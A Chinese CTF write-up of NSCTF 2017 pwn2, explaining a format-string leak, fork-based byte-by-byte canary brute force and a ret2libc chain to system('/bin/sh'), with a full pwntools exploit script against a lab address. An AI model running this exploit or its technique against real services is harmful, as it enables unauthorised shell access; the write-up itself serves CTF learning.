NSCTF 2017-pwn2
时间:2019-09-29
本文章向大家介绍NSCTF 2017-pwn2,主要包括NSCTF 2017-pwn2使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
程序基本信息
32位动态链接程序,开启了数据段不可执行以及栈溢出保护
程序漏洞
在函数中sub_80487fa中有一个格式化字符串漏洞和read函数栈溢出漏洞
整体思路
首先不用说,肯定得先想办法栈溢出,溢出函数我们已经找到,接下来的问题就是得泄露出canary的值,从而绕过栈溢出保护。我们当然可以通过格式化字符串漏洞泄露canary的值,也另外一种方法就是爆破获得canary的值。程序中有fork函数,通过fork函数打开的子进程因爆破失败结束了也不会影响父进程,借此我们可以不断调用子进程来爆破canary的值。获得canary的值后,因题目给了libc,我们只要随便泄露出库函数的地址,借此计算system与/bin/sh的地址,再通过rop技术,即可pwn掉程序。
exp脚本
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote('172.17.0.3', 10001)
canary = '\x00' #canary最低字节必为\x00
for i in xrange(3):
for j in xrange(256):
io.sendline('Y')
io.recv()
io.sendline('%5$p') #泄露栈上的libc地址
io.recvuntil('game ')
leak_libc_addr = int(io.recv(10), 16)
io.recv()
payload = 'A'*16 #构造payload爆破canary
payload += canary
payload += chr(j) #逐字节爆破canary
io.send(payload)
io.recv()
if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
canary += chr(j) #将正确字节拼接上
log.info('At round %d find canary byte %#x' %(i, j))
break
log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x1b6e00 + 0x3b060 #0x1b6e00和0x3b060分别为IO_2_1_stdin_距离libc头部偏移
binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f #/bin/sh字符串距离libc头部偏移
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))
payload = '' #构造payload执行system('/bin/sh')
payload += 'A'*16
payload += canary #将canary放在正确的位置
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC' #返回地址任填
payload += p32(binsh_addr)
io.sendline('Y') #[*] Do you love me?
io.recv()
io.sendline('1') #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload) #[*] Input Your Id: 漏洞产生点
io.interactive()
发现的问题
原文中泄露的libc中的地址是_cxa_atexit+25,但是通过我比较发现,不同库同一函数的代码可能是不一样的
我电脑使用的libc的_cxa_atexit
题目给的libc
所以说我们在计算函数在内存中的偏移时,最好使用函数名或者全局变量(比如说上文使用的IO_2_1_stdin_)
内容参考
原文地址:https://www.cnblogs.com/luoleqi/p/11609705.html
- 《干货系列》SQL语句-知无不言言无不尽
- OutOfMemoryError异常系列之方法区溢出和运行时常量溢出池溢出
- 代码转换工具 Code Converter 2013
- OutOfMemoryError异常系列之Java堆溢出
- android ndk之hello world
- ScheduledExecutorService和timer的异同
- 【精心解读】关于Jupyter Notebook的28个技巧
- Web项目接口自动化测试框架搭建
- 一文读懂Hadoop、HBase、Hive、Spark分布式系统架构
- 《Spring敲门砖之基础教程第一季》 第二章(1) Spring框架之IOC首例-HelloWorld
- Java9中的GC调优基础
- javascript深入理解js闭包
- https连接的前几毫秒发生了什么
- android自定义view实现progressbar的效果
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法